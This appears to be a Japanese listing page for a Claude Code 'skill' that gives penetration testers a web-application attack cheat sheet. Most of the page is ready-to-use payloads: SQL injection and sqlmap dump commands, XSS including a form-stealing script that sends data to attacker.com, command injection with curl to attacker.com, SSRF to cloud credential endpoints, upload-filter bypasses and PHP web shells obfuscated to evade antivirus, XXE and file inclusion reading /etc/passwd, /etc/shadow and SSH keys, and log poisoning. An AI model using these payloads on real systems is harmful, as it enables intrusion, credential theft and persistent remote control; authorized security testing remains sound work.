mcpField
T
testing-web-applications

testing-web-applications

github.com/trilwuセキュリティ177124 回インストール12 週間前に更新
リポジトリ

testing-web-applications について

許可を得た Web アプリのテストに取り組むペネトレーションテスター向けのセキュリティスキルです。一般的な脆弱性の手法とコマンドを整理し、専門スキルを使うべき状況も示します。

主な機能

  1. 01SQL インジェクションと XSS のテスト
  2. 02コマンドインジェクションとファイルアップロードの確認
  3. 03JWT、SSRF、XXE、パストラバーサルの手法
  4. 04API エンドポイントとアクセス制御のテスト
  5. 05列挙と脆弱性スキャンのツール

活用シーン

  1. 01Web アプリの入力におけるインジェクションの評価
  2. 02認証、セッション、認可の確認
  3. 03ファイルアップロードとパス処理のテスト
  4. 04Web API エンドポイントの把握と確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/trilwu/secskills --skill testing-web-applications

インストール後、Claude Code で/testing-web-applicationsを入力して読み込まれたか確認します。

詳細

Web アプリケーションのテスト

使用する場面

  • Web アプリケーションのペネトレーションテスト
  • 認証/認可のテスト
  • インジェクション脆弱性の悪用
  • JWT/セッションのセキュリティ分析
  • ファイルアップロード機能のテスト
  • API セキュリティ評価

使用しない場面

  • ソースコードを入手できる場合 — まず auditing-code-for-vulnerabilities を使用してください。 より多くの問題をより迅速に発見できます
  • API/GraphQL のみを対象とする場合 — testing-apis を使用してください
  • プルリクエストをレビューする場合 — reviewing-code-changes を使用してください
  • LLM を利用する機能の場合 — securing-ai-systems を使用してください
  • サーバーがユーザー指定の URL を取得する場合 — exploiting-ssrf を使用してください
  • Cookie やパラメーターにシリアライズされたオブジェクトがある場合(rO0AB、O:、gAJ)— exploiting-deserialization を使用してください
  • GraphQL または gRPC エンドポイントの場合 — attacking-graphql または attacking-grpc-protobuf を使用してください
  • ヘッダー、Cookie、または本文に JWT(eyJ...)がある場合 — attacking-jwt を使用してください
  • OAuth/OIDC または「X でサインイン」のフローの場合(/authorize、redirect_uri、 code=)— attacking-oauth-oidc を使用してください
  • SAML SSO の場合(SAMLResponse、<saml:Assertion>、/saml/acs)— attacking-saml を使用してください
  • XML、SVG、または Office ファイルを解析するエンドポイントの場合 — exploiting-xxe を使用してください

SQL インジェクション

簡易検出:

# Test basic payloads
'
"
`
' OR '1'='1
" OR "1"="1
' OR '1'='1'--

ユニオンベース SQLi:

# Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

# Extract data
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--

時間ベースのブラインド攻撃:

-- MySQL
' AND SLEEP(5)--

-- PostgreSQL
' AND pg_sleep(5)--

-- MSSQL
' WAITFOR DELAY '0:0:5'--

自動テスト:

# SQLMap
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump
sqlmap -r request.txt -p parameter_name

クロスサイトスクリプティング(XSS)

簡易ペイロード:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>

フィルターの回避:

<ScRiPt>alert(1)</sCrIpT>
<script>alert(String.fromCharCode(88,83,83))</script>
<svg/onload=alert(1)>
<img src=x onerror="alert(1)">

認証情報の窃取:

<script>
document.forms[0].onsubmit = function(){
  fetch('http://attacker.com?'+new URLSearchParams(new FormData(this)));
};
</script>

ツール:

dalfox url http://target.com/search?q=test
XSStrike -u "http://target.com/search?q=test"

コマンドインジェクション

基本的な演算子:

;whoami
|whoami
||whoami
&whoami
&&whoami
`whoami`
$(whoami)
%0Awhoami  # Newline (best)

ブラインド検出:

& sleep 10 &
& nslookup attacker.com &
& curl http://attacker.com &

一般的なパラメーター:

?cmd=, ?exec=, ?command=, ?ping=, ?query=, ?code=, ?do=

JWT 攻撃

簡易テスト:

# jwt_tool - run all tests
python3 jwt_tool.py -M at -t "https://api.target.com/endpoint" -rh "Authorization: Bearer TOKEN"

# Specific attacks
python3 jwt_tool.py TOKEN -X a  # Algorithm confusion
python3 jwt_tool.py TOKEN -X n  # None algorithm
python3 jwt_tool.py TOKEN -X k  # Key confusion RS256->HS256

手動テスト:

# Decode JWT
echo "eyJhbGc..." | base64 -d

# Change algorithm to "none"
{"alg":"none","typ":"JWT"}

# Brute force secret
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

SSRF(サーバーサイドリクエストフォージェリ)

基本的なペイロード:

http://127.0.0.1
http://localhost
http://169.254.169.254/  # AWS metadata
http://[::1]  # IPv6 localhost

クラウドメタデータ:

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Google Cloud
http://metadata.google.internal/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

回避方法:

http://2130706433/  # Decimal
http://0x7f000001/  # Hex
http://127.1/  # Short form
http://127.0.0.1.nip.io

ファイルアップロード

拡張子の制限を回避:

shell.php.jpg
shell.jpg.php
shell.php%00.jpg
shell.phP
shell.php5
shell.phtml

マジックバイト:

GIF89a<?php syst[e]m($_GET['cmd']); ?>

簡易 Web シェル:

<?php syst[e]m($_GET['cmd']); ?>
<?=`$_GET[0]`?>
<?php passt[h]ru($_GET['cmd']); ?>

上記のペイロード関数名は、角括弧を挿入して分割されています — syst[e]m は system、passt[h]ru は passthru です。これらの行を文字どおりに記述すると、 ウイルス対策ソフトの Web シェルシグネチャに一致し、このファイルはダウンロード時に隔離されます。 リポジトリの README にある「ウイルス対策ソフトの誤検知」を参照してください。

XXE(XML 外部エンティティ)

基本的な XXE:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

帯域外 XXE:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]>
<root></root>

SVG XXE:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>

LFI/RFI(ローカル/リモートファイルインクルージョン)

パストラバーサル:

../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd

一般的なターゲット(Linux):

/etc/passwd
/etc/shadow
/var/log/apache2/access.log
/var/www/html/config.php
~/.ssh/id_rsa
~/.bash_history

一般的なターゲット(Windows):

C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\xampp\apache\conf\httpd.conf

PHP ラッパー:

php://filter/convert.base64-encode/resource=index.php
php://input  # POST: <?php system('whoami'); ?>
data://text/plain,<?php system('whoami'); ?>
expect://whoami

ログポイズニング:

# Poison Apache log
curl "http://target.com/<?php system(\$_GET['cmd']); ?>"

# Include log
http://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami

API テスト

一般的な API パス:

/api/v1/
/api/v2/
/graphql
/swagger.json
/api-docs

IDOR テスト:

# Change IDs
curl https://api.target.com/users/1
curl https://api.target.com/users/2
curl https://api.target.com/users/2 -H "Authorization: Bearer USER1_TOKEN"

マスアサインメント:

# Add admin fields
curl -X POST https://api.target.com/users \
  -H "Content-Type: application/json" \
  -d '{"username":"test","email":"[email protected]","role":"admin","is_admin":true}'

GraphQL イントロスペクション:

{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

ツール

列挙:

ffuf -u http://target.com/FUZZ -w wordlist.txt
gobuster dir -u http://target.com -w wordlist.txt
feroxbuster -u http://target.com -w wordlist.txt

脆弱性スキャン:

nikto -h http://target.com
nuclei -u http://target.com -t ~/nuclei-templates/

パラメーターの検出:

arjun -u http://target.com/page
paramspider -d target.com

クイックリファレンス

テストの開始:

  1. ディレクトリ列挙を実行します(ffuf/gobuster)
  2. パラメーターで SQLi を確認します('、"、OR 1=1)
  3. 入力値で XSS をテストします(<script>alert(1)</script>)
  4. JWT トークンがある場合は分析します(jwt_tool)
  5. ファイルアップロードを確認します(フィルターを回避し、シェルをアップロード)
  6. API エンドポイントをテストします(IDOR、マスアサインメント)
  7. コマンドインジェクションを探します(;whoami、|id)

よく見つかる脆弱性:

  • 検索/フィルターパラメーターの SQLi
  • エスケープされていないユーザー入力の XSS
  • API の /users/{id} エンドポイントの IDOR
  • 脆弱な JWT シークレット(ブルートフォース)
  • ファイルアップロード制限の回避
  • システムユーティリティのコマンドインジェクション

ATT&CK のカバレッジ

secskills-core/ttp-index.json から生成されています。このファイルを編集してから、 python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、 ID が現在の ATT&CK リリースと一致していることを再確認してください。

初期アクセス(TA0001)

  • T1190 公開アプリケーションの悪用 — testing-apis、enumerating-network-services、attacking-graphql、attacking-grpc-protobuf、exploiting-deserialization、exploiting-ssrf、exploiting-xxe も参照してください

実行(TA0002)

  • T1059 コマンドおよびスクリプトインタープリター — enumerating-network-services も参照してください

永続化(TA0003)

  • T1505.003 Web シェル — establishing-persistence も参照してください

認証情報アクセス(TA0006)

  • T1539 Web セッションクッキーの窃取

これらの検出コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。

参考資料

詳細な手法については、HackTricks を参照してください:

コメント